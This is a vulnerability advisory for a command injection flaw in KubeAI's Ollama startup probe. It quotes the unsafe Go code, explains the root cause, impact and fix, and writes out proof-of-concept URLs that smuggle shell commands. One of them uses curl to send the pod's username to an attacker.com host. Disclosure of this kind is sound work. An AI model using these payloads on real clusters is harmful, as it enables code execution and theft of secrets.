CVE-2026-34940 — OS Command Injection in KubeAI via Model URL in Ollama startup probe

Severity: High (CVSS 8.7) CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command Affected: github.com/kubeai-project/kubeai <= 0.23.1 Fixed in: 0.23.2 Advisory: GHSA-324q-cwx9-7crr NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940 Credit: Romain Deperne

TL;DR

KubeAI constructs a Kubernetes startup probe shell script by interpolating Model CRD URL components (ref, modelParam) into a bash -c command via fmt.Sprintf in Go. Shell metacharacters in the URL are not sanitized, giving any user with Model CRD create/update RBAC arbitrary command execution inside model server pods — without cluster-admin privileges.

Analysis

I was looking at Kubernetes AI inference operators — tools that let you deploy LLMs as K8s workloads by creating CRDs. KubeAI supports Ollama, vLLM, and other engines. My hypothesis was: if a user can create Model CRDs, can they influence what runs inside the model pods?

The vLLM engine code immediately showed the right pattern: args passed as a string array to exec, no shell involved. So I looked at the Ollama engine for contrast — and found fmt.Sprintf("%s %s", pullCmd, u.ref) feeding into bash -c. Classic shell injection setup.

The URL parser regex [^?]+ (everything except ?) is what seals it: semicolons, backticks, $() are all valid in u.ref. I wrote the PoC YAML, applied it, and watched id > /tmp/pwned execute inside the model pod.

The nuance that elevates this: in multi-tenant K8s clusters, Model CRD RBAC is often granted to teams that are explicitly not cluster-admins. This gives a tenant with restricted privileges a direct path to arbitrary code execution in model pods — including access to mounted secrets and service account tokens. It crosses a privilege boundary that K8s RBAC is supposed to enforce.

Affected component

File: internal/modelcontroller/engine_ollama.go, lines 185–196

func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
    // u.ref and u.modelParam come from the Model CRD URL field — user controlled
    startupScript = fmt.Sprintf(
        "%s %s && /bin/ollama cp %s %s",
        pullCmd, u.ref, u.ref, m.Name,   // u.ref: no sanitization
    )
    // ...
}

This string is then executed as:

Command: []string{"bash", "-c", startupProbeScript}

URL parser (model_source.go):

var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid

Contrast with the vLLM engine (safe):

// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}

Root cause

The Ollama engine takes a shortcut: it builds a multi-step shell pipeline as a string and passes it to bash -c. The vLLM engine uses exec-style argument arrays. No admission webhook or CRD schema validation restricts the URL field to safe characters.

PoC

See poc.yaml — apply with kubectl apply -f poc.yaml on a cluster running KubeAI with Ollama models.

Vector 1 — ollama:// URL ref (semicolon injection):

url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"

Generated startup probe:

/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject

The id>/tmp/pwned runs and writes uid=0(root)... to /tmp/pwned inside the pod.

Vector 2 — ?model= query parameter (OOB exfiltration):

url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"

Generated probe:

/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc

Exfiltrates the pod's username to an attacker-controlled server.

Impact

1. Arbitrary command execution in model server pods for any user with Model CRD RBAC
2. Privilege escalation path in multi-tenant clusters — a restricted tenant can execute code in pods, access mounted secrets and service account tokens, and potentially move laterally
3. Environment variable exfiltration — API keys, credentials, and cloud provider tokens mounted in the pod

Fix

Replace bash -c <string> with an exec-style probe passing arguments as an array (as the vLLM engine already does), or validate the URL fields against ^[a-zA-Z0-9._:/-]+$ before interpolation.

Timeline

• Reported: GHSA private advisory
• CVE published: CVE-2026-34940